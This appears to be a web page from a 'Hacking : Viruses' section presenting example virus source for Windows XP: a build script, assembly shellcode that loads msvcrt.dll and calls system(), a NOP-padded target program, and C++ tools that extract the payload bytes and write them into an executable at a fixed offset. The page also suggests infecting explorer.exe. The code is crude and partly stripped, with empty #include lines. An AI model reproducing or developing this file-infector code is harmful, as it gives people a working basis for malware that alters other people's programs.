Path: Hacking : Viruses :
Virus Page
Computer Virus Understanding
An example virus used to understand how computer viruses work.
This example was developed for microsoft windows xp. A real virus
might infect explorer.exe and have a token in the virus machine code used
to infect other exe files using file input and output in the virus.
build.bat - build and test the virus
del *.obj
del infect.exe
del get_code.exe
del virus.exe
del hello.exe
del virus.dat
cl /w infect.cpp
cl /w get_code.cpp
nasm -fwin32 virus.asm -o virus.obj
nasm -fwin32 hello.asm -o hello.obj
alink -c -oPE virus -entry main win32.lib
alink -c -oPE hello -entry main win32.lib
get_code virus.exe virus.dat
hello.exe
infect virus.dat hello.exe
hello.exe
; virus.asm - assembly language for the virus (it knows the address of
; LoadLibrary for this to work
;
[BITS 32]
[extern MessageBoxA]
[extern LoadLibraryA]
[extern GetProcAddress]
[extern FreeLibrary]
[extern ExitProcess]
[segment .text]
[global main]
main:
push ebp
mov ebp,esp
jmp .L1
db '--START--',0
.L1:
mov ebp,esp
sub esp,32
mov [ebp+0],byte 'm'
mov [ebp+1],byte 's'
mov [ebp+2],byte 'v'
mov [ebp+3],byte 'c'
mov [ebp+4],byte 'r'
mov [ebp+5],byte 't'
mov [ebp+6],byte '.'
mov [ebp+7],byte 'd'
mov [ebp+8],byte 'l'
mov [ebp+9],byte 'l'
mov [ebp+10],byte 0
push dword 0
push dword ebp
push dword ebp
push dword 0
;mov edx,MessageBoxA
mov edx,0X00403006
call edx
add esp,16
push ebp
;mov edx,LoadLibraryA
mov edx,0X00403012
call edx
add esp,4
mov [ebp+16],eax
mov [ebp+0],byte 's'
mov [ebp+1],byte 'y'
mov [ebp+2],byte 's'
mov [ebp+3],byte 't'
mov [ebp+4],byte 'e'
mov [ebp+5],byte 'm'
mov [ebp+6],byte 0
push ebp
push eax
;mov edx,GetProcAddress
mov edx,0x00403018
call edx
add esp,8
mov [ebp+20],eax
mov [ebp+0],byte 's'
mov [ebp+1],byte 't'
mov [ebp+2],byte 'a'
mov [ebp+3],byte 'r'
mov [ebp+4],byte 't'
mov [ebp+5],byte 0
push ebp
call eax
add esp,4
push eax
;mov edx,FreeLibrary
mov edx,0x0040301E
call edx
add esp,4
;push 0
;mov edx,ExitProcess
;call edx
;add esp,4
leave
ret
db '--END--',0
mov eax,0
leave
ret
[segment .data]
; hello.asm - sample program to infect
[BITS 32]
[extern MessageBoxA]
[extern LoadLibraryA]
[extern GetProcAddress]
[extern FreeLibrary]
[extern ExitProcess]
[extern wsprintfA]
[segment .text]
[global main]
main:
push ebp
mov ebp,esp
jmp L1
db '--START--',0
L1:
call popup
push 0
mov edx,ExitProcess
call edx
add esp,4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax,0
leave
ret
[segment .data]
popup:
push ebp
mov ebp,esp
sub esp,100
push dword MessageBoxA
push message_box
push ebp
call wsprintfA
add esp,12
push dword 0 ; OK button
push dword ebp
push dword ebp
push dword 0
call MessageBoxA
add esp,16
push dword LoadLibraryA
push load_library
push ebp
call wsprintfA
add esp,12
push dword 0 ; OK button
push dword ebp
push dword ebp
push dword 0
call MessageBoxA
add esp,16
push dword GetProcAddress
push get_proc_address
push ebp
call wsprintfA
add esp,12
push dword 0 ; OK button
push dword ebp
push dword ebp
push dword 0
call MessageBoxA
add esp,16
push dword FreeLibrary
push free_library
push ebp
call wsprintfA
add esp,12
push dword 0 ; OK button
push dword ebp
push dword ebp
push dword 0
call MessageBoxA
add esp,16
push dword 0 ; OK button
push dword message1
push dword message1
push dword 0
call MessageBoxA
leave
ret
message1: db 'Hello, World!',0
msvcrt: dd 0
function: dd 0
proc_name: db 'system',0
dir: db 'start dir /w',0
string1: db 'DEBUG...',0
title1: db 'DEBUG...',0
msvcrt_dll: db 'msvcrt.dll',0
load_library: db 'LoadLibraryA == 0x%p',0
get_proc_address: db 'GetProcAddress == 0x%p',0
free_library: db 'FreeLibrary == 0x%p',0
message_box: db 'MessageBoxA == 0x%p',0
//get_code.cpp - use this program get the machine code bytes for the virus.
#include <iostream>
#include <fstream>
#include <vector>
#include <cstring>
using namespace std;
typedef vector< unsigned char > char_vector_type;
size_t find_code(char_vector_type & code, const char * tag)
{
size_t index = 0;
bool found;
size_t sz = strlen(tag);
for(size_t i = 0; i < code.size(); i++) {
found = false;
for(size_t j = 0; j < sz; j++) {
if(code[i+j] == tag[j]) {
if(index == 0) {
index = i+j;
}
found = true;
}
else {
found = false;
break;
}
}
if(found) {
break;
}
index = 0;
}
return index;
}
int
main(int argc, char ** argv, char ** envp)
{
int ret = 0;
char_vector_type code;
const char * pname;
const char * vname;
if(argc == 3) {
pname = argv[1];
vname = argv[2];
}
else {
cerr << "usage: " << argv[0] << " " << endl;
exit(1);
}
ifstream fin(pname, ios::binary | ios::in);
if(fin) {
unsigned char ch;
ch = fin.get();
while(fin) {
code.push_back(ch);
ch = fin.get();
}
fin.close();
size_t start = find_code(code, "--START--");
size_t end = find_code(code, "--END--");
ofstream fout(vname, ios::out | ios::binary);
if(fout) {
for(size_t i = start+10; i < end; i++) {
ch = code[i];
fout << ch << flush;
cout << (unsigned int)ch << endl;
}
fout.close();
}
}
return ret;
}
// infect.cpp - infect an exe file with the virus
#include
#include
using namespace std;
//#define MAIN_ADDR (1093 + 10)
#define MAIN_ADDR (1029 + 10)
//#define MAIN_ADDR (1125 + 10)
//#define MAIN_SIZE 2
//#define MAIN_SIZE (1068 - 1045)
//#define MAIN_SIZE (1105 - 1045)
//#define MAIN_SIZE 16
#define NOP 144
int main(int argc, char ** argv, char ** envp)
{
int ret = 0;
const char * pname;
const char * vname;
if(argc != 3) {
cerr << "usage: " << argv[0] << " " << endl;
exit(1);
}
else {
vname = argv[1];
pname = argv[2];
}
fstream fout(pname, ios::in | ios::out | ios::binary);
unsigned char ch;
size_t count = 0U;
if(fout.is_open()) {
fout.seekg(MAIN_ADDR, ios::beg);
ifstream fin(vname, ios::in | ios::binary);
count = 0U;
ch = fin.get();
while(fin) {
count++;
fout << ch;
ch = fin.get();
}
fout.flush();
fout.close();
fin.close();
cout << "file successfully infected..." << endl;
}
else {
cerr << "unable to open input file: " << pname << endl;
exit(1);
}
return ret;
}